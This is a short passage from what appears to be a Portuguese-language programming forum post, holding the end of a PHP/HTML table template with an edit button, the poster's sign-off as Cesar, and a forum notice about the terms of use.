fa-edit icon-white"></i></button> </form> <?php } ?> </div> <?php echo '</td>'; echo '</tr>'; } ?> </tbody> </table> </div>
      Grato,

      Cesar.
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.